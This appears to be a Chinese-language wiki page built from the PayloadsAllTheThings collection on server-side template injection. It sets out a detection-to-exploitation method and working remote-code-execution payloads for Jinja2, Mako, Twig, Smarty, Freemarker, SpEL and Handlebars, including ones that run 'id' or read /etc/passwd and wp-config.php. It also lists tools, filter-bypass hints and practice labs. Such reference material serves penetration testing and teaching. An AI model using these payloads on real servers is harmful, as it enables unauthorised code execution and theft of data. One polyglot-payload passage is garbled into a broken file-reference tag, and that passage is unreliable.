菜单

服务器端模板注入 (SSTI)

相关源文件

服务器端模板注入 (SSTI) 是一种漏洞,当攻击者能够将模板代码注入到现有模板中时发生。当用户输入在没有适当清理的情况下嵌入到服务器端模板中时,就会产生此漏洞,从而允许攻击者在服务器上执行任意代码。模板引擎通过使用静态模板文件,在运行时将变量/占位符替换为实际值,从而简化了 HTML 页面的设计。

方法论

检测和利用 SSTI 的方法遵循以下关键步骤

识别易受攻击的输入字段

第一步是找到用户提供的数据传递到服务器端模板的输入字段。常见的易受攻击的位置包括:

  • Web 表单和搜索栏
  • URL 参数
  • 模板预览功能
  • PDF 生成器、发票和电子邮件模板

来源: Server Side Template Injection/README.md43-49

注入模板语法

在识别出潜在的注入点后,通过插入各种模板引擎特有的模板表达式来测试它们。

{{7*7}}       # Tests for Jinja2, Twig, Handlebars, etc.
${7*7}        # Tests for Java-based templates
#{7*7}        # Tests for Thymeleaf, PugJS, etc.
<%= 7*7 %>    # Tests for ERB, EJS, etc.

在许多情况下,此多语言 payload 将在存在 SSTI 漏洞的情况下触发错误。

${{<%<FileRef file-url="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/7eb75cea/%'\"}}%\\.\n```\n\nThe response from the server when injecting these payloads helps determine if the application is vulnerable.\n\nSources#LNaN-LNaN" NaN  file-path="%'\"}}%\\.\n```\n\nThe response from the server when injecting these payloads helps determine if the application is vulnerable.\n\nSources">Hii</FileRef>

### Enumerate the Template Engine

Based on the server's response to injected payloads, identify which template engine is being used. This is crucial for crafting engine-specific exploits.

```mermaid
graph TD
    A["Server Response Analysis"] --> B{"Execution Pattern"}
    B -->|"{{7*7}} returns 49"| C["Python/PHP Template"]
    B -->|"${7*7} returns 49"| D["Java Template"]
    B -->|"<%= 7*7 %> returns 49"| E["Ruby/JS Template"]
    B -->|"@(7*7) returns 49"| F["ASP.NET Razor"]
    
    C --> C1["Check for specific behaviors"]
    C1 -->|"{{7*'7'}} returns 7777777"| G["Jinja2"]
    C1 -->|"{$smarty.version} shows version"| H["Smarty"]
    C1 -->|"{{app.request.server.all}} works"| I["Twig"]
    
    D --> D1["Test Java-specific payloads"]
    D1 -->|"${T(java.lang.System).getenv()}"| J["Spring"]
    D1 -->|"<#assign x=1>#{x} works"| K["Freemarker"]
    
    E --> E1["Test language-specific features"]
    E1 -->|"<%= File.open() works"| L["ERB"]
    E1 -->|"<%- include() works"| M["EJS"]
    
    F --> F1["Test C# expressions"]
    F1 -->|"@{DateTime.Now} works"| N["Razor"]

来源: Server Side Template Injection/README.md72-79 Server Side Template Injection/Python.md38-48 Server Side Template Injection/Java.md38-49 Server Side Template Injection/PHP.md22-32

升级到代码执行

在识别出模板引擎后,创建特定于引擎的 payload 以实现远程代码执行。

来源: Server Side Template Injection/README.md83-85 Server Side Template Injection/Python.md177-262 Server Side Template Injection/Java.md104-111 Server Side Template Injection/PHP.md86-99

按语言划分的模板引擎

每种编程语言都有其独特的模板引擎,具有独特的语法和利用方法。

Python 模板引擎

Jinja2

Jinja2 是一个功能齐全的 Python 模板引擎,通常与 Flask 和 Django 一起使用。

基本检测

{{7*7}}      # Returns 49 if vulnerable
{{7*'7'}}    # Returns 7777777 if vulnerable
{{config.items()}}  # Dumps configuration

信息收集

{{ self.__class__.__mro__[2].__subclasses__() }}  # Lists available classes
{{ config.items() }}  # Shows configuration variables

远程代码执行

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

# Alternative method using a shorter path
{{ lipsum.__globals__["os"].popen('id').read() }}

来源: Server Side Template Injection/Python.md98-227

Mako

Mako 是另一个具有不同语法的 Python 模板引擎。

${self.module.cache.util.os.system("id")}

来源: Server Side Template Injection/Python.md323-393

PHP 模板引擎

Twig

Twig 是一个现代化的 PHP 模板引擎。

基本检测

{{7*7}}  # Returns 49 if vulnerable
{{dump(app)}}  # Dumps application object

文件读取

{{include("wp-config.php")}}

远程代码执行

{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}

来源: Server Side Template Injection/PHP.md48-99

Smarty

Smarty 是一个较老的 PHP 模板引擎。

基本检测

{$smarty.version}

远程代码执行

{system('ls')}  # For Smarty v3

来源: Server Side Template Injection/PHP.md33-44

Java 模板引擎

Freemarker

Freemarker 是一个基于 Java 的模板引擎。

基本检测

${3*3}     # Default syntax
#{3*3}     # Legacy syntax
[=3*3]     # Alternative syntax

远程代码执行

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}

来源: Server Side Template Injection/Java.md82-111

Spring 表达式语言 (SpEL)

SpEL 用于 Spring Framework 应用程序。

基本检测

${7*7}

远程代码执行

${T(java.lang.Runtime).getRuntime().exec("COMMAND_HERE")}

来源: Server Side Template Injection/Java.md276-331

JavaScript 模板引擎

Handlebars

Handlebars 是一个流行的 JavaScript 模板库。

基本检测

{{this}}
{{self}}

远程代码执行(针对易受攻击的版本)

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

来源: Server Side Template Injection/JavaScript.md35-73

SSTI 测试工具

有几种工具可以帮助识别和利用 SSTI 漏洞。

  1. Hackmanit/TInjA:一款高效的 SSTI + CSTI 扫描器,使用新颖的多语言 payload。

  2. epinna/tplmap:SSTI 检测和利用工具。

  3. vladko312/SSTImap:带有交互式界面的自动 SSTI 检测工具。

来源: Server Side Template Injection/README.md16-39

SSTI 过滤器绕过技术

当遇到输入过滤时,请使用以下技术来绕过限制。

Jinja2 过滤器绕过

绕过下划线(_)字符过滤器

绕过最常见的过滤器(._|join[]mrobase

来源: Server Side Template Injection/Python.md263-301

练习实验

为了在安全的环境中练习 SSTI 利用,请尝试以下实验:

  • Root Me - Java - 服务器端模板注入
  • Root Me - Python - 服务器端模板注入简介
  • Root Me - Python - 盲注 SSTI 过滤器绕过

来源: Server Side Template Injection/README.md86-90

模板注入检测图

下图说明了在 SSTI 漏洞中检测和识别模板引擎的过程。

来源: Server Side Template Injection/README.md61-79 Server Side Template Injection/Intruder/ssti.fuzz1-10

按语言划分的常见 SSTI 执行路径

来源: Server Side Template Injection/Python.md177-262 Server Side Template Injection/Java.md104-111 Server Side Template Injection/PHP.md86-99 Server Side Template Injection/JavaScript.md54-73 Server Side Template Injection/Ruby.md56-72

SSTI漏洞的影响

SSTI漏洞可能导致多种类型的攻击

  1. 信息泄露:访问应用程序配置、环境变量和敏感信息
  2. 文件系统访问:读取敏感文件,例如 /etc/passwd 或配置文件
  3. 远程代码执行:执行任意系统命令
  4. 容器/虚拟机逃逸:在某些情况下,越权访问超出应用程序环境
  5. 网络横向移动:利用受损服务器攻击内部系统

SSTI漏洞的严重性取决于

  • 使用的模板引擎
  • 输入清理和过滤机制
  • 应用程序的权限上下文
  • 应用程序运行的环境

来源: Server Side Template Injection/README.md93-97